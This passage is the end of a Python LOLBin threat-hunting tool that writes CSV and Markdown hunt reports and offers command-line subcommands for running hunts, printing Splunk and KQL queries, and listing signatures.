            writer.writeheader()
            for finding in findings:
                row = dict(finding)
                row["indicators"] = "; ".join(row["indicators"])
                writer.writerow(row)
        print(f"[+] CSV summary written to {csv_file}")

    # Write hunt report
    report_file = output_path / "hunt_report.md"
    with open(report_file, "w", encoding="utf-8") as f:
        f.write(f"# LOLBin Threat Hunt Report\n\n")
        f.write(f"**Hunt ID**: TH-LOLBIN-{datetime.date.today().isoformat()}\n")
        f.write(f"**Date**: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
        f.write(f"**Events Analyzed**: {len(raw_events)}\n")
        f.write(f"**Findings**: {len(findings)}\n\n")
        f.write("## Statistics\n\n")
        f.write("| Metric | Count |\n|--------|-------|\n")
        for key, count in sorted(stats.items()):
            f.write(f"| {key} | {count} |\n")
        f.write("\n## Top Findings\n\n")
        for finding in sorted(findings, key=lambda x: x["risk_score"], reverse=True)[:20]:
            f.write(f"### [{finding['risk_level']}] {finding['binary']} - {finding['attack_id']}\n")
            f.write(f"- **Host**: {finding['hostname']}\n")
            f.write(f"- **User**: {finding['user']}\n")
            f.write(f"- **Parent**: {finding['parent_process']}\n")
            f.write(f"- **Command**: `{finding['command_line'][:200]}`\n")
            f.write(f"- **Indicators**: {', '.join(finding['indicators'])}\n\n")
    print(f"[+] Hunt report written to {report_file}")

    # Print summary
    print("\n" + "=" * 60)
    print("HUNT SUMMARY")
    print("=" * 60)
    print(f"Total Events Analyzed: {len(raw_events)}")
    print(f"Suspicious Findings:   {len(findings)}")
    print(f"  CRITICAL: {stats.get('CRITICAL', 0)}")
    print(f"  HIGH:     {stats.get('HIGH', 0)}")
    print(f"  MEDIUM:   {stats.get('MEDIUM', 0)}")
    print(f"  LOW:      {stats.get('LOW', 0)}")
    print("=" * 60)


def main():
    parser = argparse.ArgumentParser(
        description="LOLBin Threat Hunt - Detect abuse of Living-off-the-Land Binaries"
    )
    subparsers = parser.add_subparsers(dest="command", help="Available commands")

    # Hunt command
    hunt_parser = subparsers.add_parser("hunt", help="Run LOLBin hunt against log data")
    hunt_parser.add_argument("--input", "-i", required=True, help="Path to log file (XML, CSV, JSON)")
    hunt_parser.add_argument("--output", "-o", default="./hunt_output", help="Output directory")
    hunt_parser.add_argument("--format", "-f", default="auto", choices=["auto", "xml", "csv", "json"])

    # Queries command
    queries_parser = subparsers.add_parser("queries", help="Generate hunting queries")
    queries_parser.add_argument("--platform", "-p", choices=["splunk", "kql", "all"], default="all")
    queries_parser.add_argument("--output", "-o", help="Output file for queries")

    # Signatures command
    subparsers.add_parser("signatures", help="List LOLBin signatures and indicators")

    args = parser.parse_args()

    if args.command == "hunt":
        run_hunt(args.input, args.output, args.format)
    elif args.command == "queries":
        if args.platform in ("splunk", "all"):
            print("\n=== SPLUNK SPL QUERIES ===\n")
            for name, query in generate_splunk_queries().items():
                print(f"--- {name} ---")
                print(query)
                print()
        if args.platform in ("kql", "all"):
            print("\n=== KQL QUERIES (Microsoft Defender) ===\n")
            for name, query in generate_kql_queries().items():
                print(f"--- {name} ---")
                print(query)
                print()
    elif args.command == "signatures":
        print("\n=== LOLBin Signatures ===\n")
        print(f"{'Binary':<20} {'ATT&CK ID':<15} {'Description'}")
        print("-" * 80)
        for binary, sig in LOLBIN_SIGNATURES.items():
            print(f"{binary:<20} {sig['attack_id']:<15} {sig['description']}")
    else:
        parser.print_help()


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 3.7 KB
Keep exploring